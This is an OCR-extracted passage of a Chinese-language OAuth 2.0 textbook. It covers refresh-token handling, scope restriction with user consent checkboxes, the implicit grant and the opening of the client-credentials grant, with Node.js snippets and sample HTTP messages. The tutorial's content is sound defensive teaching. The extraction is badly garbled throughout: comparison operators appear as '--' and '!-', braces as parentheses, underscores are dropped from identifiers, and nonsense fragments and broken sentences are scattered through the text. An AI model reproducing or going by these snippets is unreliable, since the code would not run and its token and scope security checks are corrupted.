实现 了 刷新 令 牌 颁发 后 , 还 要 实现 令 牌 刷新 请 求 的 响应 。 在 令 牌 端点 上 , 刷新 令 牌 用 作 一 种 
特殊 的 授权 许可 。 刷 新 令 牌 请 求 中 grant type 的 值 为 refresh_token， 可 以 在 之 前 处 理 
authorization, code 许可 类 型 的 同一 分 支 代码 中 检查 该 值 。 

















) else if (req.body.grant type -- 'refresh token') ( 


首先 ， 需 要 在 令 牌 存储 中 查找 刷新 令 牌 。 示 例 代码 会 对 NoSQL 数据 库 执行 一 次 查询 ， 虽 然 
这 个 操作 细节 是 我 们 的 示例 框架 特有 的 ， 但 本 质 上 是 一 个 简单 的 搜索 操作 。 











nosql.one(function(token) ( 
if (token.refresh token -- req.body.refresh token) ( 
return token; 
j 
}, function(err, token) ( 


if (token) ( «—— 找到 匹配 的 刷新 令 牌 ， 在 此 进行 处 理 
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} else ( 
res.status(400).json((error: 'invalid grant')); 
return; 
} 
)); 
向 令 牌 端点 发 送 请 求 的 客户 端 是 已 经 通过 身份 认证 的 ， 现 在 需要 确保 该 刷新 令 牌 的 确 是 颁 
发 给 该 客户 端的 。 如 果 不 做 这 一 项 检查 ,那么 有 可 能 一 个 恶意 客户 端 在 盗 取 合法 客户 端的 刷新 
令 牌 之 后 ， 就 能 使 用 该 刷新 令 牌 获取 一 个 新 的 、 完 全 有 效 的 〈 其 实 是 被 欺骗 的 ) 访问 令 牌 ， 然 
后 就 能 冒充 合法 客户 端 了 。 如 果 检 查 不 通过 ， 也 要 将 刷新 令 牌 删除 ， 因 为 可 以 认为 该 刷新 令 牌 














































































































if (token.client id !- clientId) { 
nosql.remove (function (found) ( return (found == token); }, function () {} ); 
res.status(400).json((error: 'invalid grant')); 
return; 


) 

最 后 ,如 果 所 有 检查 都 通过 ,可 以 基于 该 刷新 令 牌 生成 一 个 新 的 访问 令 牌 , 存储 并 返回 给 客 
户 端 。 令 牌 端 点 在 此 处 的 响应 与 使 用 其 他 OAuth 许可 类 型 时 的 响应 相同 。 这 意味 着 客户 端 不 论 
通过 授权 码 还 是 通过 刷新 令 牌 获取 访问 令 牌 , 都 不 需要 做 特殊 处 理 。 要 将 本 次 请 求 使 用 的 刷新 令 
牌 也 返回 给 客户 端 ， 指 示 客 户 端 将 来 还 可 以 再 次 使 用 该 刷新 令 牌 。 





















































var access token = randomstring.generate(); 

nosql.insert(( access token: access token, client id: clientId }); 

var token response = { access token: access token, token type: 'Bearer', 
refresh token: token.refresh token ); 

res.status(200).json(token response); 


令 牌 端点 处 理 函 数 中 处 理 刷 新 令 牌 的 分 支 代码 如 附录 B 中 的 代码 清单 10 所 示 。 
当 客 户 端 获得 授权 后 , 在 得 到 访问 令 牌 的 同时 也 会 得 到 一 个 刷新 令 牌 。 当 访问 令 牌 无 论 出 于 
什么 原因 被 收回 或 者 被 禁用 之 后 ， 客 户 端 都 可 以 使 用 刷新 令 牌 请 求 新 的 访问 令 牌 。 














丢弃 令 牌 
除了 可 以 设 定 过 期 时 间 之 外 ,出 于 很 多 原因 ,任何 时 候 都 可 以 将 访问 令 牌 和 刷新 令 牌 撤销 。 
资源 拥有 者 可 以 决定 不 再 使 用 客户 端 , 或 者 , 授权 服务 器 在 对 客户 端 行为 有 所 怀疑 时 ， 也 可 以 
主动 移 除 颁发 给 该 客户 端的 令 牌 。 作 为 附加 练习 ,请 在 授权 服务 器 上 构建 一 个 页 面 ， 用 于 清除 
系统 中 各 个 客户 端的 访问 令 牌 。 
第 11 章 将 更 详细 地 讨论 令 牌 的 生命 周期 ， 包 括 令 牌 撤回 协议 。 








当 刷 新 令 牌 被 使 用 过 之 后 , 授权 服务 器 可 以 自行 决定 是 否 颁发 新 的 刷新 令 牌 来 替换 旧 的 。 授 
权 服 务 咒 还 可 以 在 使 用 刷新 令 牌 后 ,就 将 颁发 给 该 客户 端的 所 有 有 效 的 访问 令 牌 都 丢弃 掉 。 作 为 
附加 练习 ， 请 为 授权 服务 需 添 加 这 些 功能 。 
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5.5 ”增加 授权 范围 的 支持 


OAuth 2.0 中 一 个 很 重要 的 机 制 就 是 权限 范围 。 如 第 2 章 所 介绍 的 ， 以 及 在 第 4 章 的 实践 中 
所 看 到 的 ,权限 范围 表示 与 特定 授权 相关 联 的 访问 权限 的 子 集 。 为 了 充分 地 支持 权限 范围 ， 要 对 
授权 服务 器 做 一 些 改动 。 请 打开 ch-5-ex-3 目录 并 编辑 authorizationServerjs 文件 ， 或 者 在 上 一 个 
练习 完成 之 后 的 基础 上 继续 。 本 练习 无 须 修改 clientjs 和 protectedResource.js 文件 。 

首先 , 通常 需要 限制 每 个 客户 端 在 服务 器 上 可 访问 的 范围 。 这 是 防止 客户 端 不 当 行 为 的 第 一 
道 防 线 , 使 得 系统 能 够 限制 客户 端 只 能 在 受 保 护 资 源 上 执行 特定 操作 。 在 文件 顶部 的 客户 端 数据 
结构 中 添加 一 个 新 成 员 : scope。 



































var clients = [ 


( 


"client id": "oauth-client-1", 
"client secret": "oauth-client-secret-1", 
"redirect uris": ["http://localhost:9000/callback"], 


"scope": "foo bar" 
j 

l; 

这 个 字段 是 一 个 以 空格 分 隔 的 字符 串 列 表 ， 每 个 字符 串 都 代表 一 个 单独 的 OAuth 权限 范围 
值 。 仅 仅 像 这 样 注 册 一 下 ，OAnuth 客户 端 并 不 能 够 访问 受 该 权限 范围 保护 的 资源 ， 仍 然 需要 资源 
拥有 者 的 授权 。 

客户 端 可 以 在 向 授权 端点 发 送 请 求 时 ， 使 用 scope 参数 来 请 求 它 期 望 的 权限 范围 的 子 集 ， 
这 个 参数 是 一 个 字符 串 , 包含 以 空格 分 隔 的 权限 范围 值 的 列表 。 需要 在 授权 端点 处 理 函 数 中 将 它 
解析 出 来 ， 并且 转 换 为 数组 类 型 存储 在 变量 rscope 中 ， 这 样 更 容易 处 理 。 同 样 ， 如 上 文 所 述 ， 
客户 端 也 可 以 有 一 组 与 它 关联 的 权限 范围 ,我们 会 解析 它 并 存储 在 变量 cscope 中 。 但 由 于 scope 
































参数 是 可 选 的 ， 因 此 在 处 理 它 的 时 候 要 留心 一 点 ， 要 考虑 未 传人 该 参数 的 情况 。 
var rscope = req.query.scope ? req.query.scope.split(' ') : undefined; 
var cscope - client.scope ? client.scope.split(' ') : undefined; 


通过 这 样 的 方式 解析 变量 , 可 以 避免 对 一 个 不 存在 的 值 进 行 空格 拆 分 的 操作 , 否则 会 导致 代 
码 执行 失败 。 


为 何 要 使 用 以 空格 分 隔 的 字符 串 ? 
在 整个 OAuth 流程 中 , scope 参数 表现 为 以 空格 分 隔 的 字符 串 列 表 ( 编码 成 单个 字符 串 )。 
这 可 能 看 起 来 有 些 怪 异 ， 尤 其 是 某 些 流程 (例如 令 牌 端点 响应 ) 已 经 使 用 了 对 数组 有 原生 支持 
的 JSON 格式 。 你 还 会 注意 到 , 在 代码 中 处 理 权限 范围 时 ,我们 也 很 自然 地 使 用 了 字符 串 数组 。 
你 甚至 可 能 还 意识 到 ， 这 样 的 编码 意味 着 权限 范围 值 不 能 包含 空格 ( 因为 空格 为 分 隔 符 )。 那 
为 什么 还 要 使 用 这 么 奇怪 的 编码 呢 ? 
实际 情况 是 ， HTTP 表单 和 查询 参数 没有 一 种 很 好 的 方式 来 表示 像 数组 和 对 象 这 样 的 复杂 
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结构 ， 然 而 OAuth 又 需要 使 用 查询 参数 通过 前 端 信道 来 传递 信息 。 要 把 任何 信息 都 放 入 查询 
参数 中 ,就 需要 以 某 种 形式 编码 。 虽 然 还 有 一 些 相对 常见 的 手段 可 以 应 付 这 个 问题 ， 比 如 序列 
化 JSON 数组 或 者 使 用 重复 的 参数 名 , 但 是 OAuth 工作 组 认为 ， 对 于 客户 端 开 发 人 员 来 说 ,将 
权限 范围 值 用 空格 连接 成 字符 串 会 简单 得 多 。 选 择 空格 作为 分 隔 符 也 可 以 自然 地 分 隔 URI, 一 
些 系统 会 使 用 URI 作 为 权限 范围 值 。 





然后 ,需要 确保 客户 端 请 求 的 权限 范围 没有 超出 被 允许 的 范围 。 可 以 通过 简单 地 将 客户 端 请 
求 的 权限 范围 与 其 注册 的 权限 范围 进行 对 比 来 达到 目的 (使 用 了 Underscore 库 中 的 difference 
函数 ) 





if ( .difference(rscope, cscope).length > 0) ( 
var urlParsed = buildUrl(req.query.redirect uri, { 
error: 'invalid scope' 


} 
res.redirect (urlParsed); 
return; 


} 


还 要 修改 一 下 演 染 用 户 确认 页 面 的 代码 ,传人 rscope 值 。 这 将 在 页 面 上 提供 一 组 复 选 框 ， 
让 用 户 能 够 选择 授予 客户 端的 权限 范围 。 这样 一 来 , 客户 端 就 有 可 能 得 到 一 个 权限 比 它 所 申请 的 
权限 要 小 的 令 牌 , 但 这 取决 于 授权 服务 器 和 资源 拥有 者 ， 在 本 示例 中 ,取决 于 后 者 。 如 果 授 予 的 
权限 范围 不 能 满足 客户 端的 要 求 ， 客 户 端 还 可 以 重新 请 求 。 在 实践 中 ,这 样 做 会 烦 扰 用 户 ， 所 以 
客户 端 最 好 只 请 求 足以 满足 其 功能 的 权限 范围 。 
































res.render('approve', (client: client, reqid: reqid, scope: rscope)); 


在 我 们 的 页 面 中 , 有 一 段 代 码 会 遍历 权限 范围 并 为 每 个 权限 范围 泻 染 出 一 个 复 选 框 。 我 们 已 
经 提供 了 这 段 代 码 ， 你 可 以 自行 打开 approve.html 文件 查看 这 段 代码 。 











<% if (scope) ( %> 

<p>The client is requesting access to the following:«/p» 

«ul» 

<%  .each(scope, function(s) ( %> 
<li><input type="checkbox" name="scope_<%- s %>" id="scope_<%- s %>" 
checked="checked"> <label for="scope_<%- s %>"><%- s %></label></li> 

<% }); %> 

«/ul» 


<% } %> 


将 所 有 复 选 框 的 初始 状态 都 置 为 选中 状态 , 因为 客户 端 之 所 以 请 求 这 些 权限 可 能 有 它 自 己 的 
理由 ,而 且 大 多 数 用 户 会 按 默认 状态 来 操作 。 然 而 , 我 们 依然 要 给 资源 拥有 者 选择 拒绝 授予 其 中 
一 部 分 权限 的 自由 ， 让 他 们 可 以 取消 选中 复 选 框 

下 面 看 一 看 确认 页 面 的 处 理 函 数 。 请 记 住 ， 它 的 开头 是 这 样 的 : 




















app.post('/approve', function(req, res) { 
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由 于 表单 模板 为 每 一 个 复 选 框 都 添加 了 唯一 的 标签 ， 并 且 标 签 的 前 缀 都 是 scope_， 因 此 可 
以 通过 查看 传人 的 表单 数据 来 确定 哪些 复 选 框 被 选中 了 , 进而 知道 资源 拥有 者 同意 授予 哪些 权限 
范围 。 为 了 让 代码 看 起 来 更 整洁 , 我 们 使 用 了 好 几 个 Underscore 函数 ,但 如 果 你 愿意 , 也 可 以 使 
用 for 循环 。 我 们 已 经 将 这 个 处 理 过 程 包 装 成 了 一 个 实用 函数 。 








var getScopesFromForm = function(body) ( 
return _ .filter(  .keys(body), function(s) ( return 
. .String.startsWith(s, 'scope ');J) 
.map(function(s) ( return 
S.slice('scope '.length); )); 
}; 
现在 , 我 们 得 到 了 经 过 确认 的 权限 范围 列表 , 需要 再 次 确认 这 个 列表 没有 超出 客户 端 被 允许 
的 范围 。 你 可 能 会 问 :“ 等 等 ， 上 一 步 不 是 已 经 检查 过 了 吗 ?”” 我 们 确实 检查 过 ,但 是 浏览 器 中 
的 表单 或 者 通过 表单 发 出 的 1 POST 请 求 是 有 可 能 被 用 户 或 者 浏览 器 中 运行 的 代码 动 过 手脚 的 。 其 
中 可 能 会 添加 客户 端 并 未 请 求 而 且 不 会 被 授予 的 权限 范围 。 另 外 , 在 服务 端 总 是 尽 可 能 地 对 所 有 
输入 数据 进行 合法 性 检查 ， 这 是 一 个 好 习惯 。 




















var rscope = getScopesFromForm(req.body); 
var client - getClient(query.client id); 
var cscope - client.scope ? client.scope.split(' ') : undefined; 
if ( .difference(rscope, cscope).length > 0) ( 

var urlParsed - buildUrl(query.redirect uri, ( 

error: 'invalid scope' 

ij 

res.redirect(urlParsed); 

return; 


} 


现在 ,需要 将 这 些 权限 范围 与 生成 的 授权 码 保存 在 一 起 ,以 便 在 令 牌 端点 收 到 请 求 时 能 再 次 
将 它们 提取 出 来 。 注意, 用 这 样 的 方法 可 以 将 任何 类 型 的 信息 与 授权 码 关联 起 来 ,这 有 助 于 实现 
更 高 级 的 处 理 。 





codes[code] = ( request: query, scope: rscope j; 


接 下 来 ,需要 修改 令 牌 端点 的 处 理 函 数 。 回 想 一 下 ， 它 的 开头 是 这 样 的 : 





app.post("/token", function(req, res)( 


这 里 ， 需 要 将 最 初 在 确认 处 理 过 程 中 存储 的 权限 范围 提取 出 来 , 应 用 到 生成 的 令 牌 上 。 由 于 
这 些 权 限 范 围 存储 在 授权 码 对 象 中 ， 只 需 将 它们 取出 并 存 人 令 牌 信 息 中 即 可 。 














nosql.insert( 
code.scope J); 
nosql.insert(( refresh token: refresh token, client id: clientId, scope: 
code.scope J); 


最 后 , 在 令 牌 端 点 的 响应 中 将 令 牌 所 绑 定 的 权限 范围 告诉 客户 端 。 为 了 与 请 求 时 所 使 用 的 空 


( access token: access token, client id: clientId, scope: 





5.6 2 T] 











格 分 隔 的 格式 保持 一 致 ， 将 权限 范围 数组 转换 成 字符 串 并 添加 到 响应 JSON 对 象 中 。 


var token response = { access token: access token, token type: 'Bearer', 
refresh token: refresh token, scope: code.scope.join(' ') }; 


现在 , 授权 服务 器 可 以 处 理 带 权限 范围 的 令 牌 请 求 了 , 允许 用 户 否 决 将 某 些 权限 范围 授予 客 
户 端 。 这 使 得 受 保护 资源 能 够 更 精细 地 控制 访问 ， 也 让 客户 端 只 请 求 它 需 要 的 访问 权限 。 

可 以 在 令 牌 刷新 请 求 中 指定 一 组 权限 范围 ( 这 组 权限 范围 应 该 是 刷新 令 牌 所 关联 的 权限 范围 
的 子 集 )， 并 应 用 于 新 的 访问 令 牌 。 这 样 客户 端 就 能 使 用 刷新 令 牌 请 求 新 的 访问 令 牌 ， 新 访问 令 
牌 的 权限 小 于 其 被 许可 的 权限 范围 , 这 遵循 了 最 小 权限 安全 原则 。 作 为 附加 练习 ,请 在 令 牌 端点 
的 处 理 函 数 中 为 refresh_token 许可 类 型 添加 缩小 权限 范围 的 支持 。 此 处 授权 服务 絮 的 代码 只 
支持 了 最 基本 的 令 牌 刷新 处 理 ， 你 需要 对 它 加 以 改进 ， 对 权限 范围 进行 解析 ,检查 其 合法 性 ,并 
将 其 关联 到 新 的 访问 令 牌 。 










































































5.6 hi 


OAuth 授权 服务 器 无 疑 是 OAuth 系统 中 最 复杂 的 部 分 。 
口 处 理 前 端 信道 和 后 端 信道 响应 通信 和 需要 使 用 不 同 的 方法 ， 即 使 请 求 和 响应 很 相似 。 
口 授权 码 许可 流程 需要 在 多 个 步骤 中 维护 数据 状态 ， 最 终 才 得 以 产生 令 牌 。 
a 授权 服务 器 上 存在 很 多 可 能 被 攻击 的 漏洞 ， 每 一 处 都 需要 进行 适当 的 防护 。 
口 刷新 令 牌 随访 问 令 牌 一 起 颁发 ， 可 在 无 须 用 户 参 与 的 情况 下 用 于 生成 新 的 访问 令 牌 。 
Q 权限 范围 用 于 限制 访问 令 牌 的 权限 。 
到 目前 为 止 ， 你 已 经 见识 了 在 一 个 典型 的 OAuth 系统 中 每 个 组 件 是 如 何 运行 的 ， 接 下 来 我 
们 看 看 一 些 其 他 的 选项 ， 以 及 整个 系统 在 现实 世界 中 是 如 何 融 为 一 体 的 。 
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现实 世界 中 的 OAuth 2.0 








本 章 内 容 

口 在 不 同 的 场景 下 使 用 不 同 的 OAuth 许可 类 型 

口 用 不 同方 式 处 理 原生 应 用 、Web 应 用 和 基于 浏览 需 的 应 用 
口 配置 阶段 和 运行 阶段 的 密 钥 处 理 














到 目前 为 止 ， 本 书 已 经 介绍 了 理想 状态 的 OAuth 2.0。 所 有 的 应 用 看 起 来 都 一 样 ， 所 有 的 资 
源 看 起 来 也 一 样 ， 而 且 它们 都 以 相同 的 方式 工作 。 第 2 章 用 持 有 客户 端 密 钥 的 Web 应 用 展示 了 
授权 许可 协议 的 一 般 性 范例 。 第 3-5 章 通过 一 系列 练习 实现 了 这 个 范例 。 












































虽然 这 样 的 简化 假设 有 助 于 了 解 一 个 系统 的 基本 原理 , 但 是 我 们 构建 的 所 有 应 用 都 是 要 立足 


于 现实 世界 的 ， 它 们 需要 适应 各 种 各 样 的 变化 。OAuth 2.0 协议 在 一 些 关 键 点 上 提供 了 灵活 性 ， 


以 多 种 方式 预见 了 这 些 变化 。 本 章 将 详细 讨论 这 些 扩展 点 。 


6.1 授权 许可 类 型 


在 OAuth 1.0 中 ， 获 取 访 问 令 牌 的 方式 只 有 一 种 ， 所 有 客户 端 都 必须 采用 这 种 方式 。 这 种 方 





式 被 设计 得 尽 可 能 通用 ， 以 求 能 适应 各 种 不 同 的 部 署 选 项 。 结 果 ， 





这 样 的 协议 并 不 能 很 好 地 适应 





任何 使 用 场景 。Web 应 用 需要 使 用 请 求 令 牌 ， 而 这 种 请 求 令 牌 本 来 是 用 于 原生 应 用 轮 询 状态 变化 
的 ; 原生 应 用 需要 使 用 用 户 密 钥 ， 而 用 户 密 钥 本 来 是 用 于 保护 Web 应 用 的 ; 而 且 所 有 人 都 需要 
使 用 一 种 自 定义 的 签名 机 制 。 作 为 一 项 功能 强大 的 基础 技术 , 它 已 经 足够 好 了 , 但 是 仍然 有 太 多 








需要 提升 的 地 方 。 


在 制定 OAuth 2.0 的 时 候 ， 工 作 组 明确 决定 将 其 核心 协议 定位 为 一 个 框架 而 不 是 单个 协议 。 
通过 保持 协议 的 核心 概念 稳固 和 支持 在 特定 领域 进行 扩展 ，OAuth 2.0 支持 以 多 种 不 同 的 方式 应 
用 。 虽 然 有 观点 认为 任何 系统 的 第 二 个 版 本 都 会 变 成 过 度 抽 象 的 框架 , “但 是 对 于 OAuth 来 说 ， 








这 种 抽象 对 扩展 其 功能 和 增强 其 适应 性 起 到 了 极 大 的 帮助 。 











(D 这 是 已 经 被 深入 探讨 过 的 所 谓 “第 二 系统 综合 征 ”， 这 种 综合 征 会 在 原本 优雅 且 成 功 的 方案 中 过 度 引 人 抽象 和 复 














杂 性 。 但 是 这 应 该 不 会 发 生 在 OAuth 2.0 身上 ， 至 少 我 们 希望 如 此 。 
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OAuth 2.0 最 关键 的 一 个 变化 就 是 授权 许可 ， 通 份 地 说 就 是 授权 流程 (OAuth flow )。 正 如 在 
前 面 的 章节 中 已 经 提 到 的 ， 授 权 码 许可 类 型 只 是 客户 端 向 授权 服务 器 请 求 令 牌 的 众多 方式 之 一 。 
由 于 前 面 已 经 详细 介绍 过 授权 码 许 可 类 型 ， 本 节 将 介绍 其 他 主要 的 授权 许可 类 型 。 


6.1.4 隐 式 许可 类 型 


授权 码 许可 流程 中 各 个 步骤 的 关键 是 不 同 组 件 之 间 保 持 信息 隔离 。 通 过 这 种 方式 , 浏览 器 接 
触 不 到 只 应 由 客户 端 掌握 的 信息 , 客户 端 也 无 法 得 知 浏 览 器 的 状态 。 但 是 如 果 把 客户 端 放 在 浏览 
器 内 部 运行 (如 图 6-1 所 示 )， 会 怎么 样 呢 ? 





































































资源 拥有 者 ”运行 在 浏览 器 
内 的 客户 端 


由 于 客户 端 运 行 在 浏览 器 
内 ， 隐 式 许可 类 型 只 使 用 
前 端 信道 





受 保护 资源 


图 6-1 隐 式 许可 类 型 





完全 运行 在 浏览 器 中 的 JavaScript 应 用 就 属于 这 种 情况 ,客户 端 无 法 对 浏览 右 隐 藏 任何 秘密 ， 
因为 浏览 器 对 客户 端的 任何 动作 都 了 如 指 掌 。 在 这 种 情况 下 , 通过 浏览 器 向 客户 端 传递 仅 用 于 换 
取 令 牌 的 授权 码 就 没有 任何 实际 意义 了 ， 因 为 这 个 额外 的 保密 层 没 有 起 到 任何 作用 。 

隐 式 许可 类 型 没有 使 用 这 个 额外 的 保密 层 ， 而 是 直接 从 授权 端点 返回 令 牌 。 因 此 隐 式 许可 类 
型 只 使 用 前 端 信道 和 授权 服务 器 通信 。 这 种 授权 许可 流程 对 内 扔 在 网 站 上 的 JavaScript 应 用 非常 
有 用 ， 这 些 应 用 需要 在 不 同安 全 域 中 进行 经 过 授权 的 、 可 能 受 限 的 会 话 共享 。 

在 使 用 隐 式 许可 类 型 时 需要 对 它 严 匣 的 局 限 性 有 所 认识 。 首先, 使 用 这 种 许可 流程 的 客户 端 
无 法 持 有 客户 端 密 钥 , 因为 无 法 对 浏览 器 隐藏 密 钥 。 但 由 于 这 种 许可 流程 只 使 用 授权 端点 而 不 使 
用 令 牌 端点 ， 因 此 这 个 限制 不 会 影响 其 功能 ， 因 为 不 要 求 客户 端 在 授权 端点 上 进行 身份 认证 。 然 
而 ， 由 于 缺少 对 客户 端 进行 身份 认证 的 手段 , 确实 会 影响 这 种 许可 类 型 的 安全 等 级 ,因此 要 谨慎 
使 用 。 另 外 ， 隐 式 许 可 流程 不 可 用 于 获取 刷新 令 牌 。 因 为 浏览 器 内 的 应 用 具有 短暂 运行 的 特点 ， 



























































中 第 2 章 介绍 了 前 端 信道 和 后 端 信道 ， 还 记得 吗 ? 
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只 会 在 


可 类 


许可 类 


得 无 


会 在 被 加 载 到 浏览 器 的 期 间 保 持 会 话 ， 所 以 刷新 令 牌 在 这 里 的 作用 非常 有 限 。 而且， 和 其 他 许 
型 不 同 , 这 种 许可 类 型 会 假设 资源 拥有 者 一 直 在 场 ， 必 要 时 可 以 对 客户 端 重新 授权 。 在 这 种 
型 下 ， 授 权 服 务 器 仍然 可 以 遵循 首次 使 用 时 信任 C TOFU ) 的 原则 ， 通 过 允许 重新 授权 获 
AER] P WIS 

客户 端 向 授权 服务 器 的 授权 端点 发 送 请 求 时 ， 使 用 的 方式 与 授权 码 流程 相同 ， 只 不 






































response type 参数 的 值 为 token, 而 不 是 codes 这 样 会 通知 授权 服务 器 LAM. = 


不 是 


i 


HH 





生成 一 个 用 于 换取 令 牌 的 授权 码 。 


HTTP/1.1 302 Moved Temporarily 

Location: http://localhost:9001/authorize?response type-token&scope-foo&client . 
idszoauth-client-1&redirect uri-http$3A22F$2Flocalhost$3A90002$2Fcallback&state 
-Lwt50DDQKUB8U7jtfLOCVGDL9cnmwHH1 

Vary: Accept 

Content-Type: text/html; charset-utf-8 

Content-Length: 444 

Date: Fri, 31 Jul 2015 20:50:19 GMT 


客户 端 通过 页 面 跳 转 或 者 在 页 面 内 使 用 内 联 框架 (iframe ) 来 执行 这 个 请 求 。 无 论 使 用 哪 种 

浏览 器 都 会 向 授权 服务 器 的 授权 端点 发 送 请 求 。 和 授权 码 许可 流程 一 样 ， 资 源 拥 有 者 自行 
行 身份 认证 ,然后 对 客户 端 授权 。 但 是 ,这 一 次 授权 服务 器 会 直接 生成 令 牌 ， 并 在 授权 端点 响 
将 令 牌 附 在 URI 片段 中 。 不 要 忘 了 ， 由 于 这 是 前 端 信道 ， 对 客户 端的 响应 是 通过 重 定向 来 






























































完成 


一 行 


确认 
的 情 











的 ， 重 定向 地 址 是 客户 端的 重 定向 URI。 


GET /callback#access_token=987tghjkiu6trfghjuytrghj&token_type=Bearer 

HTTP/1.1 

Host: localhost:9000 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 
Gecko/20100101 Firefox/39.0 

Accept: text/html,application/xhtml«xml,application/xml;qz0.9,*/*;qz0.8 

Referer: http://localhost:9001/authorize?response type-code&scope-foo&client, id- 
oauth-client-1&redirect uri-http£23A22F$2Flocalhost$3A9000$2Fcallback&state- 
Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 


URI 中 的 片段 部 分 通常 不 会 发 送 至 服务 器 ， 这 样 令 牌 就 只 能 在 浏览 器 内 使 用 。 但 请 注意 ， 
为 会 因 浏 览 器 的 实现 和 版 本 而 异 。 

现在 ,开始 动手 实现 。 请 打开 ch-6-ex-1 目录 ， 编 辑 authorizationServerjs 文件 。 在 处 理 来 自 
页 面 的 请 求 的 函数 中 , 已 经 有 了 一 个 if 语句 的 分 支 , 它 负 责 处 理 response_type 为 cod 
况 。 














if (query.response type -- 'code') ( 


要 在 这 个 代码 块 上 添加 一 个 分 支 来 处 理 response. type 为 token 的 情况 。 





) else if (query.response type -- 'token') ( 


在 这 段 代码 内 , 需要 执行 的 处 理 与 授权 码 许 可 类 似 , 检查 权限 范围 并 验证 对 请 求 的 批准 。 请 
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注意 ， 要 使 用 散 列 而 不 是 查询 参数 来 返回 错误 信息 。 


var rscope = getScopesFromForm(req.body); 
var client = getClient(query.client id); 
var cscope - client.scope ? client.scope.split(' ') : undefined; 
if ( .difference(rscope, cscope).length > 0) ( 
var urlParsed - buildUrl(query.redirect uri, 
o, 
gs.stringify((error: 'invalid, scope')) 
1 
res.redirect (urlParsed); 
return; 


) 
然后 ， 像 以 往 那样 生成 一 个 访问 令 牌 。 请 记 住 ， 我 们 没有 创建 刷新 令 牌 。 





var access token = randomstring.generate(); 

nosqgl.insert(( access token: access token, client id: clientlId, scope: rscope }); 
var token, response = { access token: access token, token type: 'Bearer', 

Scope: rscope.join(' ') ); 

if (query.state) ( 

token response.state - query.state; 


) 
最 后 ， 通 过 使 用 重 定向 URI 的 散 列 片段 将 它 返回 给 客户 端 。 


var urlParsed = buildUrl(query.redirect uri, 
an 
qs.stringify (token response) 

















E 
res.redirect (urlParsed); 
return; 


在 62.2 节 介 绍 浏览 器 内 的 客户 端 时 ， 会 对 客户 端的 实现 细节 一 探究 竟 。 现 在 ， 你 应 该 能 够 
通过 http://localhost:9000/ 加 载 客户 端 页 面 ,， 然 后 获取 令 牌 并 访问 受 保护 资源 ， 和 在 其 他 练习 中 一 
样 。 当 从 授权 服务 器 返回 时 ， 你 会 注意 到 客户 端 返回 后 在 重 定向 URI 的 散 列 中 带 有 令 牌 的 值 。 
受 保护 资源 对 令 牌 的 处 理 和 验证 没有 什么 不 同 ， 但 需要 进行 跨 域 资源 共享 (CORS) 设置 , 第 8 
章 会 对 此 进行 介绍 。 


6.1.2 ”客户 端 凭据 许可 类 型 


如 果 没 有 明确 的 资源 拥有 者 , 或 对 于 客户 端 软件 来 说 资源 拥有 者 不 可 区 分 , 该 怎么 办 ?这 是 
一 种 相当 常见 的 场景 ， 比 如 后 端 系 统 之 间 需 要 直接 通信 ， 但 是 它们 并 不 一 定 代 表 某 个 特定 用 户 。 
没有 用 户 对 客户 端 授权 ， 还 能 使 用 OAuth I ( 如 图 6-2 所 示 ) ? 





























82 $63 现实 世界 中 的 OAuth 2.0 





客户 端 凭据 许可 类 型 客户 端 用 自己 
的 凭据 换取 令 牌 ， 因 为 客户 端 代表 自 
己 ， 所 以 只 使 用 后 端 信道 





受 保护 资源 


图 6-2 客户 端 赁 据 许 可 类 型 


OAuth 2.0 增加 了 客户 端 凭 据 许 可 类 型 ， 可 用 于 这 种 场景 。 在 隐 式 许可 流程 中 ， 客 户 端 被 置 
于 浏览 器 中 , 也 就 是 在 前 端 信道 上 ; 而 在 这 种 许可 流程 中 ， 资 源 拥有 者 被 塞 进 客 户 端 ， 也 就 没有 
用 户 代 理 存 在 了 。 因 此 ,这 种 许可 流程 只 使 用 后 端 信道 ,客户 端 代表 自己 〈 它 自己 就 是 资源 拥有 
者 ) 从 令 牌 端点 获取 令 有 牌 。 





























OAuth 的 几 条 腿 

OAuth 1.0 中 没有 让 客户 端 代表 自己 获取 令 牌 的 机 制 ， 因 为 这 个 协议 就 是 围绕 如 何 让 用 户 
代理 访问 权限 而 设计 的 ， 即 客户 端 、 服 务 器 和 用 户 之 间 的 “三 条 腿 ” 协 议 。 然 而 ，OAnuth 1.0 
的 使 用 者 很 快意 识 到 , 可 以 将 OAuth 1.0 中 的 一 些 机 制 用 于 后 端 服务 间 的 连接 , 代替 API 密 钥 。 
这 被 称 为 “两 条 腿 的 OAuth”， 因 为 其 中 不 再 需要 资源 拥有 者 参与 了 ， 只 剩 下 客户 端 和 资源 服 
务 器 。 但 是 人 们 没有 使 用 OAuth 的 令 牌 ， 而 是 单独 使 用 OAuth 1.0 的 签名 机 制 ， 让 客户 端 向 资 
源 服 务 器 发 送 经 过 签名 的 请 求 ,这 就 要 求 资源 服务 器 知道 客户 端的 密 钥 ,以 便 验 证 请 求 的 签名 。 
由 于 整个 过 程 没有 令 牌 或 者 凭据 的 交换 ， 将 其 称 为 “没有 腿 的 OAuth” 可 能 更 贴切 。 

设计 OAuth 2.0 的 时 候 ， 工 作 组 研究 了 OAuth 1.0 的 部 署 模式 ， 决 定 将 客户 端 代表 自己 访 
问 受 保护 资源 的 模式 也 编 进 协议 ,但 是 这 一 次 要 使 用 三 条 腿 代 理 流 程 中 使 用 的 令 牌 机 制 。 这 种 
统一 性 使 得 授权 服务 器 仍然 负责 处 理 客户 端 赁 据 , 允许 资源 服务 器 独自 处 理 令 牌 。 无 论 令 牌 是 
最 终 用 户 授 权 颁 发 的 还 是 直接 授予 客户 端的 , 资源 服务 器 都 可 以 用 相同 的 方式 进行 处 理 , 这 有 
助 于 简化 整个 OAuth 系统 的 代码 库 和 架构 。 








客户 端 向 授权 服务 器 的 令 牌 端点 发 出 令 牌 请 求 , 这 与 授权 码 流程 是 一 样 的 ， 只 不 过 这 一 次 使 
JH client credentials 作为 grant, type 参数 的 值 ， 而 且 没 有 授权 码 或 者 其 他 用 于 换取 令 牌 
的 临时 凭据 。 相 反 ,， 客户 端 直 接 向 授权 服务 器 进行 身份 认证 ， 而 授权 服务 器 给 客户 端 颁发 访问 令 
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牌 。 客 户 端 也 可 以 使 用 scope 参数 指定 请 求 的 权限 范围 ， 其 用 法 与 授权 码 和 隐 式 许可 流程 中 在 
授权 端点 上 使 用 的 scope 参数 一 样 。 


POST /token 

Host: localhost:9001 

Accept: application/json 

Content-type: application/x-www-form-encoded 

